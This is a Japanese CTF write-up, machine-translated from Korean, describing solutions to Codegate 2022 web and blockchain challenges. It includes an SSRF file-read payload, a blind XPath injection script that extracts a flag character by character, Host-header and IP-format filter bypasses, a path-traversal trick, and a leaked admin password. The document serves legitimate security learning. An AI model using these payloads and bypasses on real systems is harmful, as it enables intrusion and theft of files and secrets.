Arang.dev
検索
Codegate CTF 2022🏁 CTF🌐 翻訳済み

Codegate 2022 Web/Blockchain Writeup

Codegate 2022 予選のWeb全問およびBlockchain(NFT)問題の解法

#codegate#ssrf#xpath-injection#aes#blockchain

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

本戦には行けなかったので、適当に書きます…

Web問をあまりにも早く解き終わってしまったのでブロックチェーン(以下、BC)だけ見ていたのですが、個人的にBCについて無知すぎて、かなり悔いが残りました(泣)

nft問題はチームメンバーのepistが助けてくれました(感謝感謝)


[Baby First]

要約

ssrfでregex検査を回避し、local fileをleakする

当然babyと付いていたので、これ最初から見たせいか、First Bloodを取ってしまった問題です;;

image

ざっとコードを見ると、classファイル内のlookupImg関数で、memoの内容のうち[](角括弧)内に入るものをurlとして受け取り、imageをパースしてimgタグに入れています。

pattern = Pattern.compile("^[a-z]+:");
 matcher = pattern.matcher(tmp);
 if (!matcher.find() || matcher.group().startsWith("file"))
 return "";

この時、java.net.URLを使用して入れていますが、その前にstartsWith関数でfile:プロトコルで始まっているか検査します。

java.net.URLを監査(Auditing)してみると

https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/19fb8f93c59dfd791f62d41f332db9e306bc1422/src/java.base/share/classes/java/net/URL.java#L575

GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDKMirror of the jdk/jdk11 Mercurial forest at OpenJDK - GitHub - AdoptOpenJDK/openjdk-jdk11: Mirror of the jdk/jdk11 Mercurial forest at OpenJDKgithub.com

image

上記のようにurl:で始まると、start(input argument, url)を+= 4しているのが分かります。

memo=[url:file:///flag]とすれば解けます。

image


[ CAFE ]

要約:xss botにadmin passwordが存在する(非想定解)、parse_urlのバグ(?)を利用する(想定解)

case 'iframe':
 $src = $element->src;
 $host = parse_url($src)['host'];
 if (strpos($host, 'youtube.com') !== false){
 $result .= '<iframe src="'. str_replace('"', '', $src) .'"></iframe>';
 }
 break;

parse_url($src)['host']でhost検査をしていますが、これは簡単に回避可能です。

関連ドキュメントとしては、Orange Tsai兄貴の資料が非常に参考になります。

探すのが面倒なので、リンクは貼りません。

# xss bot python code
 
driver.get('http://3.39.55.38:1929/login')
driver.find_element_by_id('id').send_keys('admin')
driver.find_element_by_id('pw').send_keys('$MiLEYEN4') ## ????
driver.find_element_by_id('submit').click()

とにかく、本来はそういう問題でしたが、xss botにパスワードが入っていました。

Webを速攻で解き終わり、BCまで見て完全にやることがなくなった後、想定解法で再挑戦しようとしましたが、ブロックチェーンの1問が解けず、そのまま大会が終わってしまい見れませんでした。おそらくjavascript://youtube.com/[改行][コード]でいけると思います。


​

[ superbee ]

要約:admin/password(非想定解)、AES uninitialized key+padding it, iv from key decrypt

image

私は正直、大会中にこの問題がなぜ100点まで落ちたのかという疑問を最後まで拭えませんでした。

あ、ところが大会が終わってみると、アカウントがadmin/passwordだったそうです。

うわぁ…;

ar9ang3@ar9ang3:~/web/dirsearch$ nc 3.39.49.174 30001
GET /admin/authkey HTTP/1.2
Host: localhost
 
HTTP/1.1 200 OK
Date: Sat, 26 Feb 2022 11:44:45 GMT
Content-Length: 96
Content-Type: text/plain; charset=utf-8
 
00fb3dcf5ecaad607aeb0c91e9b194d9f9f9e263cebd55cdf1ec2a327d033be657c2582de2ef1ba6d77fd22784011607

とりあえずauth_keyをauth_secret_keyだったかな?とにかくそれを使ってAES CBC Encryptしてadminページに表示しています。

host localhostで検査していますが、直接ncで接続してhostを変えてやればあっさり通りました。

func (this *AdminController) AuthKey() {
 encrypted_auth_key, _ := AesEncrypt([]byte(auth_key), []byte(auth_crypt_key))
 this.Ctx.WriteString(hex.EncodeToString(encrypted_auth_key))
}

ざっとコードを見ると、上で暗号化する際に使われるauth_crypt_keyが宣言だけされていて、値を読み込んでいません。

func AesEncrypt(origData, key []byte) ([]byte, error) {
 padded_key := Padding(key, 16)
 block, err := aes.NewCipher(padded_key)
 if err != nil {
 return nil, err
 }
 blockSize := block.BlockSize()
 origData = Padding(origData, blockSize)
 blockMode := cipher.NewCBCEncrypter(block, padded_key[:blockSize])
 crypted := make([]byte, len(origData))
 blockMode.CryptBlocks(crypted, origData)
 return crypted, nil
}

そしてそれをkey size分だけpaddingしていますが、その結果は\x10*16です。

ivもまた、上記のpaddingで作られたkeyの値からblocksize分だけ切り取って使うため、私たちはkeyとivの両方を知っています。

arang@DESKTOP-TUE2B66:/mnt/d/jw/personal/ctf/2022codegate$ python3 a.py
b'Th15_sup3r_s3cr3t_K3y_N3v3r_B3_L34k3d\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

速攻で復号化

image

速攻でフラグゲット


​

[ myblog ]

要約:blind xpath injectionでcatalina.propertiesに設定されたenviron variable leak

もうjsp問題が出ると、とりあえずTomcat、jdkから監査する癖がついてしまいました。

ざっとcatalina.propertiesにフラグがセットされているのを見て、System.getPropertyのような関数がxpathを使用する際に内部的に使われるだろうと思い、我らが神・Sublime兄貴でctrl+shift+fを叩き、getPropertyを検索してリファレンスチェックをしました。

そうするとSecuritySupport.javaで使っているものがあったので、なんとなく覚えておきつつ、

image

xpath functionらを利用して解くのだろうと思い、そっちを見るとsystem-propertyという非常に良さげなやつがいました。

  1. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/Keywords.java#L301
  2. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/compiler/FunctionTable.java#L224
  3. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/com/sun/org/apache/xpath/internal/functions/FuncSystemProperty.java#L101
  4. https://github.com/AdoptOpenJDK/openjdk-jdk11/blob/master/src/java.xml/share/classes/jdk/xml/internal/SecuritySupport.java#L87

だいたい上記のフローで呼び出されるのが分かりますが、

image

ローカルテスト BINGO

http://3.39.79.180/blog/read?idx=%27%20or%20@idx=string-length(string-length(system-property(%27flag%27))=46=%27true%27)-4%20and%20@idx=%271

ざっとblind xpath injeciton構文を組んでlength checkをして、

from arang import *
 
s = requests.session()
proxies = {"http":"http://127.0.0.1:8888","https":"http://127.0.0.1:8888"}
headers = {"Cookie": "JSESSIONID=C37A435A55859F879AC71B4ECE966C07"}
s.proxies = proxies
s.headers = headers
s.verify = False
num = 1
#codegate
flag = "codegate2022{"
for i in range(len(flag)+1,46+1):
 for c in "0123456789abcdef}":
 url = f"http://3.39.79.180/blog/read?idx=' or @idx=string-length(substring(system-property('flag'),{i},1)='{c}'='true')-4 and @idx='1"
 r = s.get(url)
 if 'asdf' not in r.content.decode():
 flag += c
 print(f"[{len(flag)}/46] flag - {flag}")
 break

エクスプロイト実行

image

get flag


​

[ nft ]

要約:blockchainですがwebchallであり、1dayとpython trickを利用

modifier contains (string memory what, string memory where) {
 bytes memory whatBytes = bytes (what);
 bytes memory whereBytes = bytes (where);
 
 require(whereBytes.length >= whatBytes.length);
 
 bool found = false;
 for (uint i = 0; i <= whereBytes.length - whatBytes.length; i++) {
 bool flag = true;
 for (uint j = 0; j < whatBytes.length; j++)
 if (whereBytes [i + j] != whatBytes [j]) {
 flag = false;
 break;
 }
 if (flag) {
 found = true;
 break;
 }
 }
 require (!found);
 
 _;
 }

contains関数がちょっと杜撰です。

[requirements.txt 中]

Django==3.2.1

?

https://packetstormsecurity.com/files/cve/CVE-2021-33571

CVE-2021-33571 ≈ Packet StormRed Hat Security Advisory 2021-4702-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addrepacketstormsecurity.com

よし

>>> ipaddress.IPv4Address("127.0.0.01")
IPv4Address('127.0.0.1')

これで127.00.0.1を与えればcontainsを回避できます。

>>> uri="1.1.1.1/account/storages//a.b.c"
>>> nft_file = uri.split(nft_path + '/')[-1]
>>> nft_file
'/a.b.c'
>>> path = os.path.join(os.getcwd(), nft_path, nft_file)
>>> path
'/a.b.c'
nft_file = uri.split(nft_path + '/')[-1]
 if nft_file.find('.') != -1 and nft_file.split('.')[-1]:
 path = os.path.join(os.getcwd(), nft_path, nft_file)
 
 with open(path, 'rb') as f:
 return f.read()

os.path.joinを使う際、3番目の引数に絶対パスを与えると、絶対パスに変わってしまうというトリックがあります。

これと組み合わせて使えば、

127.00.0.1/acount/storages//home/ctf/flag.txt

このように与えると、with open(path, 'rb') as fでpathに/home/ctf/flag.txtが入るようになり、フラグを読むことができます。

脆弱性は見つけましたが、BC弱者なので実際のエクスプロイトができず、チームメンバーのepistが代わりにやってくれました(感謝感謝)

コメント

コメントを読み込み中...
Codegate 2022 Web/Blockchain Writeup | Codegate CTF 2022 | Arang